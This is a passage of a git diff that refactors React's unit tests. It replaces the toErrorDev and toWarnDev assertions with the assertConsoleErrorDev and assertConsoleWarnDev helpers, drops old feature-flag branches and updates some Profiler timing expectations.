+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: object. You likely forgot to export your ' +
+          "component from the file it's defined in, or you might have mixed up " +
+          'default and named imports.',
+      ],
+      [
+        () => React.createElement(React.createElement('div')),
+        'React.createElement: type is invalid -- expected a string ' +
+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: <div />. Did you accidentally export a JSX literal ' +
+          'instead of a component?',
+      ],
+      [
+        () => React.createElement(React.createElement(Foo)),
+        'React.createElement: type is invalid -- expected a string ' +
+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: <Foo />. Did you accidentally export a JSX literal ' +
+          'instead of a component?',
+      ],
+      [
+        () =>
+          React.createElement(
+            React.createElement(React.createContext().Consumer),
+          ),
+        'React.createElement: type is invalid -- expected a string ' +
+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: <Context.Consumer />. Did you accidentally ' +
+          'export a JSX literal instead of a component?',
+      ],
+      [
+        () => React.createElement({$$typeof: 'non-react-thing'}),
+        'React.createElement: type is invalid -- expected a string ' +
+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: object.',
+      ],
+    ];
+    for (let i = 0; i < cases.length; i++) {
+      await act(async () => root.render(cases[i][0]()));
+    }
 
     expect(errors).toEqual(
       __DEV__
@@ -414,28 +408,12 @@ describe('ReactElementValidator', () => {
     }
 
     await expect(async () => {
-      await expect(async () => {
-        const root = ReactDOMClient.createRoot(document.createElement('div'));
-        await act(() => root.render(React.createElement(ParentComp)));
-      }).rejects.toThrowError(
-        'Element type is invalid: expected a string (for built-in components) ' +
-          'or a class/function (for composite components) but got: null.' +
-          (__DEV__ ? '\n\nCheck the render method of `ParentComp`.' : ''),
-      );
-    }).toErrorDev(
-      gate(flag => flag.enableOwnerStacks)
-        ? // We don't need these extra warnings because we already have the errors.
-          []
-        : [
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: null.\n' +
-              '    in ParentComp (at **)',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: null.\n' +
-              '    in ParentComp (at **)',
-          ],
+      const root = ReactDOMClient.createRoot(document.createElement('div'));
+      await act(() => root.render(React.createElement(ParentComp)));
+    }).rejects.toThrowError(
+      'Element type is invalid: expected a string (for built-in components) ' +
+        'or a class/function (for composite components) but got: null.' +
+        (__DEV__ ? '\n\nCheck the render method of `ParentComp`.' : ''),
     );
   });
 
@@ -446,13 +424,17 @@ describe('ReactElementValidator', () => {
       }
     }
 
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => root.render(React.createElement(Foo)));
-    }).toErrorDev(
-      'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +
-        'can only have `key` and `children` props.',
-    );
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => root.render(React.createElement(Foo)));
+    assertConsoleErrorDev([
+      gate('enableFragmentRefs')
+        ? 'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +
+          'can only have `key`, `ref`, and `children` props.\n' +
+          '    in Foo (at **)'
+        : 'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +
+          'can only have `key` and `children` props.\n' +
+          '    in Foo (at **)',
+    ]);
   });
 
   it('does not warn when using DOM node as children', async () => {
@@ -512,16 +494,7 @@ describe('ReactElementValidator', () => {
 
   it('does not blow up on key warning with undefined type', () => {
     const Foo = undefined;
-    expect(() => {
-      void (<Foo>{[<div />]}</Foo>);
-    }).toErrorDev(
-      'React.jsx: type is invalid -- expected a string ' +
-        '(for built-in components) or a class/function (for composite ' +
-        'components) but got: undefined. You likely forgot to export your ' +
-        "component from the file it's defined in, or you might have mixed up " +
-        'default and named imports.',
-      {withoutStack: true},
-    );
+    void (<Foo>{[<div />]}</Foo>);
   });
 
   it('does not call lazy initializers eagerly', () => {
diff --git a/packages/react/src/__tests__/ReactJSXElementValidator-test.js b/packages/react/src/__tests__/ReactJSXElementValidator-test.js
index 4fc666aa4e7f..41ee720478ae 100644
--- a/packages/react/src/__tests__/ReactJSXElementValidator-test.js
+++ b/packages/react/src/__tests__/ReactJSXElementValidator-test.js
@@ -14,6 +14,7 @@
 let act;
 let React;
 let ReactDOMClient;
+let assertConsoleErrorDev;
 
 describe('ReactJSXElementValidator', () => {
   let Component;
@@ -22,7 +23,7 @@ describe('ReactJSXElementValidator', () => {
   beforeEach(() => {
     jest.resetModules();
 
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
     React = require('react');
     ReactDOMClient = require('react-dom/client');
 
@@ -41,14 +42,17 @@ describe('ReactJSXElementValidator', () => {
   });
 
   it('warns for keys for arrays of elements in children position', async () => {
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-
-      await act(() => {
-        root.render(<Component>{[<Component />, <Component />]}</Component>);
-      });
-    }).toErrorDev('Each child in a list should have a unique "key" prop.');
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<Component>{[<Component />, <Component />]}</Component>);
+    });
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the render method of `Component`. See https://react.dev/link/warning-keys for more information.\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('warns for keys for arrays of elements with owner info', async () => {
@@ -64,20 +68,16 @@ describe('ReactJSXElementValidator', () => {
       }
     }
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ComponentWrapper />);
-      });
-    }).toErrorDev([
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<ComponentWrapper />);
+    });
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
-        '\n\nCheck the render method of `' +
-        (gate(flag => flag.enableOwnerStacks)
-          ? 'Component'
-          : 'InnerComponent') +
-        '`. ' +
-        'It was passed a child from ComponentWrapper. ',
+        '\n\nCheck the render method of `Component`. ' +
+        'It was passed a child from ComponentWrapper. See https://react.dev/link/warning-keys for more information.\n' +
+        '    in ComponentWrapper (at **)',
     ]);
   });
 
@@ -94,24 +94,18 @@ describe('ReactJSXElementValidator', () => {
       },
     };
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-
-      await act(() => {
-        root.render(<Component>{iterable}</Component>);
-      });
-    }).toErrorDev(
-      gate(flag => flag.enableOwnerStacks)
-        ? ['Each child in a list should have a unique "key" prop.']
-        : // Since each pass generates a new element, it doesn't get marked as
-          // validated and it gets rechecked each time.
-          [
-            'Each child in a list should have a unique "key" prop.',
-            'Each child in a list should have a unique "key" prop.',
-            'Each child in a list should have a unique "key" prop.',
-          ],
-    );
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<Component>{iterable}</Component>);
+    });
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the render method of `Component`. It was passed a child from div. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('does not warn for arrays of elements with keys', async () => {
@@ -198,50 +192,20 @@ describe('ReactJSXElementValidator', () => {
         return <MyComp />;
       }
     }
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-
-      await act(() => {
-        root.render(<ParentComp />);
-      });
-    }).toErrorDev(
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ParentComp />);
+    });
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
         '\n\nCheck the render method of `ParentComp`. It was passed a child from MyComp. ' +
         'See https://react.dev/link/warning-keys for more information.\n' +
         '    in div (at **)\n' +
         '    in MyComp (at **)\n' +
         '    in ParentComp (at **)',
-    );
-  });
-
-  it('gives a helpful error when passing null, undefined, or boolean', () => {
-    const Undefined = undefined;
-    const Null = null;
-    const True = true;
-    const Div = 'div';
-    expect(() => void (<Undefined />)).toErrorDev(
-      'React.jsx: type is invalid -- expected a string ' +
-        '(for built-in components) or a class/function (for composite ' +
-        'components) but got: undefined. You likely forgot to export your ' +
-        "component from the file it's defined in, or you might have mixed up " +
-        'default and named imports.',
-      {withoutStack: true},
-    );
-    expect(() => void (<Null />)).toErrorDev(
-      'React.jsx: type is invalid -- expected a string ' +
-        '(for built-in components) or a class/function (for composite ' +
-        'components) but got: null.',
-      {withoutStack: true},
-    );
-    expect(() => void (<True />)).toErrorDev(
-      'React.jsx: type is invalid -- expected a string ' +
-        '(for built-in components) or a class/function (for composite ' +
-        'components) but got: boolean.',
-      {withoutStack: true},
-    );
-    // No error expected
-    void (<Div />);
+    ]);
   });
 
   it('warns for fragments with illegal attributes', async () => {
@@ -251,16 +215,20 @@ describe('ReactJSXElementValidator', () => {
       }
     }
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<Foo />);
-      });
-    }).toErrorDev(
-      'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +
-        'can only have `key` and `children` props.',
-    );
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<Foo />);
+    });
+    assertConsoleErrorDev([
+      gate('enableFragmentRefs')
+        ? 'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +
+          'can only have `key`, `ref`, and `children` props.\n' +
+          '    in Foo (at **)'
+        : 'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +
+          'can only have `key` and `children` props.\n' +
+          '    in Foo (at **)',
+    ]);
   });
 
   it('warns for fragments with refs', async () => {
@@ -277,23 +245,20 @@ describe('ReactJSXElementValidator', () => {
       }
     }
 
-    if (gate(flags => flags.enableRefAsProp)) {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).toErrorDev('Invalid prop `ref` supplied to `React.Fragment`.');
-    } else {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).toErrorDev('Invalid attribute `ref` supplied to `React.Fragment`.');
-    }
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<Foo />);
+    });
+    assertConsoleErrorDev(
+      gate('enableFragmentRefs')
+        ? []
+        : [
+            'Invalid prop `ref` supplied to `React.Fragment`.' +
+              ' React.Fragment can only have `key` and `children` props.\n' +
+              '    in Foo (at **)',
+          ],
+    );
   });
 
   it('does not warn for fragments of multiple elements without keys', async () => {
@@ -310,19 +275,24 @@ describe('ReactJSXElementValidator', () => {
   });
 
   it('warns for fragments of multiple elements with same key', async () => {
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(
-          <>
-            <span key="a">1</span>
-            <span key="a">2</span>
-            <span key="b">3</span>
-          </>,
-        );
-      });
-    }).toErrorDev('Encountered two children with the same key, `a`.');
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(
+        <>
+          <span key="a">1</span>
+          <span key="a">2</span>
+          <span key="b">3</span>
+        </>,
+      );
+    });
+    assertConsoleErrorDev([
+      'Encountered two children with the same key, `a`. ' +
+        'Keys should be unique so that components maintain their identity across updates. ' +
+        'Non-unique keys may cause children to be duplicated and/or omitted — ' +
+        'the behavior is unsupported and could change in a future version.\n' +
+        '    in span (at **)',
+    ]);
   });
 
   it('does not call lazy initializers eagerly', () => {
diff --git a/packages/react/src/__tests__/ReactJSXRuntime-test.js b/packages/react/src/__tests__/ReactJSXRuntime-test.js
index 8a63eca32607..dd97e422f5ce 100644
--- a/packages/react/src/__tests__/ReactJSXRuntime-test.js
+++ b/packages/react/src/__tests__/ReactJSXRuntime-test.js
@@ -14,6 +14,7 @@ let ReactDOMClient;
 let JSXRuntime;
 let JSXDEVRuntime;
 let act;
+let assertConsoleErrorDev;
 
 // NOTE: Prefer to call the JSXRuntime directly in these tests so we can be
 // certain that we are testing the runtime behavior, as opposed to the Babel
@@ -26,7 +27,7 @@ describe('ReactJSXRuntime', () => {
     JSXRuntime = require('react/jsx-runtime');
     JSXDEVRuntime = require('react/jsx-dev-runtime');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   it('allows static methods to be called using the type property', () => {
@@ -205,71 +206,41 @@ describe('ReactJSXRuntime', () => {
         });
       }
     }
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(JSXRuntime.jsx(Parent, {}));
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(JSXRuntime.jsx(Parent, {}));
+    });
+    assertConsoleErrorDev([
       'Child: `key` is not a prop. Trying to access it will result ' +
         'in `undefined` being returned. If you need to access the same ' +
         'value within the child component, you should pass it as a different ' +
-        'prop. (https://react.dev/link/special-props)',
-    );
+        'prop. (https://react.dev/link/special-props)\n' +
+        '    in Parent (at **)',
+    ]);
   });
 
   it('warns when a jsxs is passed something that is not an array', async () => {
     const container = document.createElement('div');
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(JSXRuntime.jsxs('div', {children: 'foo'}, null));
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(JSXRuntime.jsxs('div', {children: 'foo'}, null));
+    });
+    assertConsoleErrorDev([
       'React.jsx: Static children should always be an array. ' +
         'You are likely explicitly calling React.jsxs or React.jsxDEV. ' +
         'Use the Babel transform instead.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should warn when `key` is being accessed on a host element', () => {
     const element = JSXRuntime.jsxs('div', {}, '3');
-    expect(() => void element.props.key).toErrorDev(
+    void element.props.key;
+    assertConsoleErrorDev([
       'div: `key` is not a prop. Trying to access it will result ' +
         'in `undefined` being returned. If you need to access the same ' +
         'value within the child component, you should pass it as a different ' +
         'prop. (https://react.dev/link/special-props)',
-      {withoutStack: true},
-    );
-  });
-
-  // @gate !enableRefAsProp || !__DEV__
-  it('should warn when `ref` is being accessed', async () => {
-    const container = document.createElement('div');
-    class Child extends React.Component {
-      render() {
-        return JSXRuntime.jsx('div', {children: this.props.ref});
-      }
-    }
-    class Parent extends React.Component {
-      render() {
-        return JSXRuntime.jsx('div', {
-          children: JSXRuntime.jsx(Child, {ref: React.createRef()}),
-        });
-      }
-    }
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(JSXRuntime.jsx(Parent, {}));
-      });
-    }).toErrorDev(
-      'Child: `ref` is not a prop. Trying to access it will result ' +
-        'in `undefined` being returned. If you need to access the same ' +
-        'value within the child component, you should pass it as a different ' +
-        'prop. (https://react.dev/link/special-props)',
-    );
+    ]);
   });
 
   it('should warn when unkeyed children are passed to jsx', async () => {
@@ -291,19 +262,15 @@ describe('ReactJSXRuntime', () => {
         });
       }
     }
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(JSXRuntime.jsx(Parent, {}));
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(JSXRuntime.jsx(Parent, {}));
+    });
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.\n\n' +
         'Check the render method of `Parent`. See https://react.dev/link/warning-keys for more information.\n' +
-        (gate(flags => flags.enableOwnerStacks)
-          ? ''
-          : '    in Child (at **)\n') +
         '    in Parent (at **)',
-    );
+    ]);
   });
 
   it('should warn when keys are passed as part of props', async () => {
@@ -320,19 +287,19 @@ describe('ReactJSXRuntime', () => {
         });
       }
     }
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(JSXRuntime.jsx(Parent, {}));
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(JSXRuntime.jsx(Parent, {}));
+    });
+    assertConsoleErrorDev([
       'A props object containing a "key" prop is being spread into JSX:\n' +
         '  let props = {key: someKey, prop: ...};\n' +
         '  <Child {...props} />\n' +
         'React keys must be passed directly to JSX without using spread:\n' +
         '  let props = {prop: ...};\n' +
-        '  <Child key={someKey} {...props} />',
-    );
+        '  <Child key={someKey} {...props} />\n' +
+        '    in Parent (at **)',
+    ]);
   });
 
   it('should not warn when unkeyed children are passed to jsxs', async () => {
@@ -377,7 +344,6 @@ describe('ReactJSXRuntime', () => {
     expect(didCall).toBe(false);
   });
 
-  // @gate enableFastJSX && enableRefAsProp
   it('does not clone props object if key and ref is not spread', async () => {
     const config = {
       foo: 'foo',
@@ -397,15 +363,17 @@ describe('ReactJSXRuntime', () => {
       key: 'key',
     };
 
-    let elementWithSpreadKey;
-    expect(() => {
-      elementWithSpreadKey = __DEV__
-        ? JSXDEVRuntime.jsxDEV('div', configWithKey)
-        : JSXRuntime.jsx('div', configWithKey);
-    }).toErrorDev(
-      'A props object containing a "key" prop is being spread into JSX',
-      {withoutStack: true},
-    );
+    const elementWithSpreadKey = __DEV__
+      ? JSXDEVRuntime.jsxDEV('div', configWithKey)
+      : JSXRuntime.jsx('div', configWithKey);
+    assertConsoleErrorDev([
+      'A props object containing a "key" prop is being spread into JSX:\n' +
+        '  let props = {key: someKey, foo: ..., bar: ...};\n' +
+        '  <div {...props} />\n' +
+        'React keys must be passed directly to JSX without using spread:\n' +
+        '  let props = {foo: ..., bar: ...};\n' +
+        '  <div key={someKey} {...props} />',
+    ]);
     expect(elementWithSpreadKey.props).not.toBe(configWithKey);
   });
 });
diff --git a/packages/react/src/__tests__/ReactJSXTransformIntegration-test.js b/packages/react/src/__tests__/ReactJSXTransformIntegration-test.js
index 22480f1a7ef6..245bd11debf3 100644
--- a/packages/react/src/__tests__/ReactJSXTransformIntegration-test.js
+++ b/packages/react/src/__tests__/ReactJSXTransformIntegration-test.js
@@ -12,6 +12,7 @@
 let React;
 let ReactDOMClient;
 let act;
+let assertConsoleErrorDev;
 
 // TODO: Historically this module was used to confirm that the JSX transform
 // produces the correct output. However, most users (and indeed our own test
@@ -29,7 +30,7 @@ describe('ReactJSXTransformIntegration', () => {
 
     React = require('react');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
 
     Component = class extends React.Component {
       render() {
@@ -55,11 +56,7 @@ describe('ReactJSXTransformIntegration', () => {
     const element = <Component />;
     expect(element.type).toBe(Component);
     expect(element.key).toBe(null);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(element.ref).toBe(null);
-    } else {
-      expect(element.ref).toBe(null);
-    }
+    expect(element.ref).toBe(null);
     const expectation = {};
     Object.freeze(expectation);
     expect(element.props).toEqual(expectation);
@@ -69,11 +66,7 @@ describe('ReactJSXTransformIntegration', () => {
     const element = <div />;
     expect(element.type).toBe('div');
     expect(element.key).toBe(null);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(element.ref).toBe(null);
-    } else {
-      expect(element.ref).toBe(null);
-    }
+    expect(element.ref).toBe(null);
     const expectation = {};
     Object.freeze(expectation);
     expect(element.props).toEqual(expectation);
@@ -84,11 +77,7 @@ describe('ReactJSXTransformIntegration', () => {
     const element = <TagName />;
     expect(element.type).toBe('div');
     expect(element.key).toBe(null);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(element.ref).toBe(null);
-    } else {
-      expect(element.ref).toBe(null);
-    }
+    expect(element.ref).toBe(null);
     const expectation = {};
     Object.freeze(expectation);
     expect(element.props).toEqual(expectation);
@@ -124,31 +113,22 @@ describe('ReactJSXTransformIntegration', () => {
     const ref = React.createRef();
     const element = <Component ref={ref} foo="56" />;
     expect(element.type).toBe(Component);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(() => expect(element.ref).toBe(ref)).toErrorDev(
-        'Accessing element.ref was removed in React 19',
-        {withoutStack: true},
-      );
-      const expectation = {foo: '56', ref};
-      Object.freeze(expectation);
-      expect(element.props).toEqual(expectation);
-    } else {
-      const expectation = {foo: '56'};
-      Object.freeze(expectation);
-      expect(element.props).toEqual(expectation);
-      expect(element.ref).toBe(ref);
-    }
+    expect(element.ref).toBe(ref);
+    assertConsoleErrorDev([
+      'Accessing element.ref was removed in React 19. ref is now a ' +
+        'regular prop. It will be removed from the JSX Element ' +
+        'type in a future release.',
+    ]);
+    const expectation = {foo: '56', ref};
+    Object.freeze(expectation);
+    expect(element.props).toEqual(expectation);
   });
 
   it('coerces the key to a string', () => {
     const element = <Component key={12} foo="56" />;
     expect(element.type).toBe(Component);
     expect(element.key).toBe('12');
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(element.ref).toBe(null);
-    } else {
-      expect(element.ref).toBe(null);
-    }
+    expect(element.ref).toBe(null);
     const expectation = {foo: '56'};
     Object.freeze(expectation);
     expect(element.props).toEqual(expectation);
diff --git a/packages/react/src/__tests__/ReactMismatchedVersions-test.js b/packages/react/src/__tests__/ReactMismatchedVersions-test.js
index 234df6c8e483..d815f298641a 100644
--- a/packages/react/src/__tests__/ReactMismatchedVersions-test.js
+++ b/packages/react/src/__tests__/ReactMismatchedVersions-test.js
@@ -109,6 +109,7 @@ describe('ReactMismatchedVersions-test', () => {
     );
   });
 
+  // @gate !source
   it('importing "react-dom/static.node" throws if version does not match React version', async () => {
     expect(() => require('react-dom/static.node')).toThrow(
       'Incompatible React versions: The "react" and "react-dom" packages ' +
diff --git a/packages/react/src/__tests__/ReactProfiler-test.internal.js b/packages/react/src/__tests__/ReactProfiler-test.internal.js
index 367992dfd333..ee1ec514e4d4 100644
--- a/packages/react/src/__tests__/ReactProfiler-test.internal.js
+++ b/packages/react/src/__tests__/ReactProfiler-test.internal.js
@@ -125,6 +125,7 @@ describe(`onRender`, () => {
     expect(callback).toHaveBeenCalledTimes(1);
   });
 
+  // @gate !__DEV__
   it('does not record times for components outside of Profiler tree', async () => {
     // Mock the Scheduler module so we can track how many times the current
     // time is read
@@ -161,17 +162,12 @@ describe(`onRender`, () => {
     // Restore original mock
     jest.mock('scheduler', () => jest.requireActual('scheduler/unstable_mock'));
 
-    // TODO: unstable_now is called by more places than just the profiler.
-    // Rewrite this test so it's less fragile.
-    if (gate(flags => flags.enableDeferRootSchedulingToMicrotask)) {
+    if (gate(flags => flags.enableComponentPerformanceTrack)) {
       assertLog([
         'read current time',
         'read current time',
         'read current time',
         'read current time',
-      ]);
-    } else if (gate(flags => !flags.allowConcurrentByDefault)) {
-      assertLog([
         'read current time',
         'read current time',
         'read current time',
@@ -179,7 +175,11 @@ describe(`onRender`, () => {
         'read current time',
         'read current time',
         'read current time',
-        // TODO: why is there one less in this case?
+        'read current time',
+        'read current time',
+        'read current time',
+        'read current time',
+        'read current time',
       ]);
     } else {
       assertLog([
@@ -191,6 +191,9 @@ describe(`onRender`, () => {
         'read current time',
         'read current time',
         'read current time',
+        'read current time',
+        'read current time',
+        'read current time',
       ]);
     }
   });
@@ -1604,7 +1607,7 @@ describe(`onCommit`, () => {
     expect(call).toHaveLength(4);
     expect(call[0]).toBe('root-update');
     expect(call[1]).toBe('update');
-    expect(call[2]).toBe(1100); // durations
+    expect(call[2]).toBe(11100); // durations
     expect(call[3]).toBe(1124); // commit start time (before mutations or effects)
   });
 
@@ -1913,11 +1916,7 @@ describe(`onPostCommit`, () => {
     expect(call).toHaveLength(4);
     expect(call[0]).toBe('unmount-test');
     expect(call[1]).toBe('update');
-    // TODO (bvaughn) The duration reported below should be 10100, but is 0
-    // by the time the passive effect is flushed its parent Fiber pointer is gone.
-    // If we refactor to preserve the unmounted Fiber tree we could fix this.
-    // The current implementation would require too much extra overhead to track this.
-    expect(call[2]).toBe(0); // durations
+    expect(call[2]).toBe(10100); // durations
     expect(call[3]).toBe(12030); // commit start time (before mutations or effects)
   });
 
@@ -2046,7 +2045,7 @@ describe(`onPostCommit`, () => {
     expect(call).toHaveLength(4);
     expect(call[0]).toBe('root-update');
     expect(call[1]).toBe('update');
-    expect(call[2]).toBe(1100); // durations
+    expect(call[2]).toBe(11100); // durations
     expect(call[3]).toBe(1124); // commit start time (before mutations or effects)
   });
 
@@ -2261,7 +2260,7 @@ describe(`onPostCommit`, () => {
     expect(call).toHaveLength(4);
     expect(call[0]).toBe('root');
     expect(call[1]).toBe('update');
-    expect(call[2]).toBe(100000000); // durations
+    expect(call[2]).toBe(100001000); // durations
     // The commit time varies because the above duration time varies
     expect(call[3]).toBe(11221221); // commit start time (before mutations or effects)
   });
diff --git a/packages/react/src/__tests__/ReactProfilerComponent-test.internal.js b/packages/react/src/__tests__/ReactProfilerComponent-test.internal.js
index d8fc623a3daf..b7b7d845c5e4 100644
--- a/packages/react/src/__tests__/ReactProfilerComponent-test.internal.js
+++ b/packages/react/src/__tests__/ReactProfilerComponent-test.internal.js
@@ -14,6 +14,7 @@ let ReactDOMClient;
 let ReactFeatureFlags;
 let act;
 let container;
+let assertConsoleErrorDev;
 
 function loadModules({
   enableProfilerTimer = true,
@@ -31,6 +32,7 @@ function loadModules({
   ReactDOMClient = require('react-dom/client');
   const InternalTestUtils = require('internal-test-utils');
   act = InternalTestUtils.act;
+  assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
 }
 
 describe('Profiler', () => {
@@ -54,16 +56,12 @@ describe('Profiler', () => {
         if (__DEV__ && enableProfilerTimer) {
           it('should warn if required params are missing', async () => {
             const root = ReactDOMClient.createRoot(container);
-            await expect(async () => {
-              await act(() => {
-                root.render(<React.Profiler />);
-              });
-            }).toErrorDev(
+            await act(() => {
+              root.render(<React.Profiler />);
+            });
+            assertConsoleErrorDev([
               'Profiler must specify an "id" of type `string` as a prop. Received the type `undefined` instead.',
-              {
-                withoutStack: true,
-              },
-            );
+            ]);
           });
         }
 
diff --git a/packages/react/src/__tests__/ReactPureComponent-test.js b/packages/react/src/__tests__/ReactPureComponent-test.js
index 9efdf183ee37..c54945ff250c 100644
--- a/packages/react/src/__tests__/ReactPureComponent-test.js
+++ b/packages/react/src/__tests__/ReactPureComponent-test.js
@@ -10,13 +10,13 @@
 'use strict';
 
 let act;
-
+let assertConsoleErrorDev;
 let React;
 let ReactDOMClient;
 
 describe('ReactPureComponent', () => {
   beforeEach(() => {
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
 
     React = require('react');
     ReactDOMClient = require('react-dom/client');
@@ -90,16 +90,15 @@ describe('ReactPureComponent', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev(
-      '' +
-        'Component has a method called shouldComponentUpdate(). ' +
+    await act(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
+      'Component has a method called shouldComponentUpdate(). ' +
         'shouldComponentUpdate should not be used when extending React.PureComponent. ' +
-        'Please extend React.Component if shouldComponentUpdate is used.',
-    );
+        'Please extend React.Component if shouldComponentUpdate is used.\n' +
+        '    in Component (at **)',
+    ]);
     await act(() => {
       root.render(<Component />);
     });
@@ -133,15 +132,14 @@ describe('ReactPureComponent', () => {
       }
     }
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() => {
-        root.render(<PureComponent />);
-      });
-    }).toErrorDev(
-      '' +
-        'PureComponent has a method called shouldComponentUpdate(). ' +
+    await act(() => {
+      root.render(<PureComponent />);
+    });
+    assertConsoleErrorDev([
+      'PureComponent has a method called shouldComponentUpdate(). ' +
         'shouldComponentUpdate should not be used when extending React.PureComponent. ' +
-        'Please extend React.Component if shouldComponentUpdate is used.',
-    );
+        'Please extend React.Component if shouldComponentUpdate is used.\n' +
+        '    in PureComponent (at **)',
+    ]);
   });
 });
diff --git a/packages/react/src/__tests__/ReactStartTransition-test.js b/packages/react/src/__tests__/ReactStartTransition-test.js
index 9e689ac6e710..dd4888a589a8 100644
--- a/packages/react/src/__tests__/ReactStartTransition-test.js
+++ b/packages/react/src/__tests__/ReactStartTransition-test.js
@@ -12,6 +12,7 @@
 let React;
 let ReactTestRenderer;
 let act;
+let assertConsoleWarnDev;
 let useState;
 let useTransition;
 
@@ -22,7 +23,7 @@ describe('ReactStartTransition', () => {
     jest.resetModules();
     React = require('react');
     ReactTestRenderer = require('react-test-renderer');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleWarnDev} = require('internal-test-utils'));
     useState = React.useState;
     useTransition = React.useTransition;
   });
@@ -53,38 +54,30 @@ describe('ReactStartTransition', () => {
       });
     });
 
-    await expect(async () => {
-      await act(() => {
-        React.startTransition(() => {
-          subs.forEach(setState => {
-            setState(state => state + 1);
-          });
+    await act(() => {
+      React.startTransition(() => {
+        subs.forEach(setState => {
+          setState(state => state + 1);
         });
       });
-    }).toWarnDev(
-      [
-        'Detected a large number of updates inside startTransition. ' +
-          'If this is due to a subscription please re-write it to use React provided hooks. ' +
-          'Otherwise concurrent mode guarantees are off the table.',
-      ],
-      {withoutStack: true},
-    );
+    });
+    assertConsoleWarnDev([
+      'Detected a large number of updates inside startTransition. ' +
+        'If this is due to a subscription please re-write it to use React provided hooks. ' +
+        'Otherwise concurrent mode guarantees are off the table.',
+    ]);
 
-    await expect(async () => {
-      await act(() => {
-        triggerHookTransition(() => {
-          subs.forEach(setState => {
-            setState(state => state + 1);
-          });
